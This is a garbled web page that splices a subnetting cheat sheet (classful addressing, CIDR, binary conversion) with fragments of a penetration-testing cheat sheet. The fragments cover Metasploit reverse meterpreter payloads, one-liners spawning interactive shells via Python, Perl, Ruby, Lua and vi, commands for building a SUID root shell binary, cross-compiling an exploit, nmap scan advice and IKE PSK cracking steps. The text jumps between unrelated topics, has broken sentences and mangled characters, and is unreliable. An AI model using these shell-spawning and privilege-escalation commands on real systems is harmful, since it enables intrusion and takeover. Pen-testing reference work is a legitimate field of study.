You can learn Classful IP Addresses, IPv4 address classes, Private IPv4 blocks. In this Subnetting cheat sheet page, you can view all you need about subnetting! You can view CIDR values that is the equivalent valueof your subnet mask, address numbers that can be used with this subnet mask and wildcard masks. For example: For Decimal 5, the Binary value is 101. (config-if)# ip addr 0.0.0.0 determine the 8 bits Octet value, add 0s in front of the binary value. Meterpreter Payloads Windows reverse meterpreter payload Run shell commands from vi: :!bash Spawn TTY Shell NMAP !sh Metasploit Cheat SheetĪ basic metasploit cheat sheet that I have found handy for reference.īasic Metasploit commands, useful for reference, for pivoting see - Meterpreter Pivoting techniques. Python TTY Shell Trick python - c 'import pty pty.spawn("/bin/bash")' echo os.system ( '/bin/bash' ) Spawn Interactive sh shell /bin/sh -i Spawn Perl TTY Shell exec " /bin/sh " perl - e ' exec "/bin/sh" ' Spawn Ruby TTY Shell exec "/bin/sh" Spawn Lua TTY Shell os.execute ( '/bin/sh' ) Spawn TTY Shell from Vi Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells. See Reverse Shell Cheat Sheet for a list of useful Reverse Shells. Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.īelow are some quick copy and pate examples for various shells: SUID C Shell for /bin/bash int main ( void ) Building the SUID Shell binary gcc -o suid suid.cįor 32 bit: gcc -m32 -o suid suid.c Reverse Shells I586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe As a general rule of thumb, scan as slowly as you can, or do a fast scan for the top 1000 so you can start pen testing then kick off a slower scan. But it all depends on the target devices, embeded devices are going to struggle if you T4 / T5 them and give inconclusive results. A T4 scan would likely be better suited for an internal pen test, over low latency links with plenty of bandwidth. Don’t use T4 commands on external pen tests (when using an Internet connection), you’re probably better off using a T2 with a TCP connect scan. I’ve had a few people mention about T4 scans, apply common sense here. Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause knockover Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against servicesĪs above but scans all TCP ports (takes a lot longer)Īs above but scans all TCP ports and UDP scan (takes even longer) Pre-engagement Network Configuration Set IP Address Post Exploit Windows Metasploit Modules.Local Windows Metasploit Modules (exploits).Remote Windows Metasploit Modules (exploits).GCC Compile 32Bit Exploit on 64Bit Kali.Identifying if C code is for Windows or Linux.Step 4: Use psk-crack to crack the PSK hash.Step 3: Use ike-scan to capture the PSK hash.Step 2: Enumerate group name with IKEForce.
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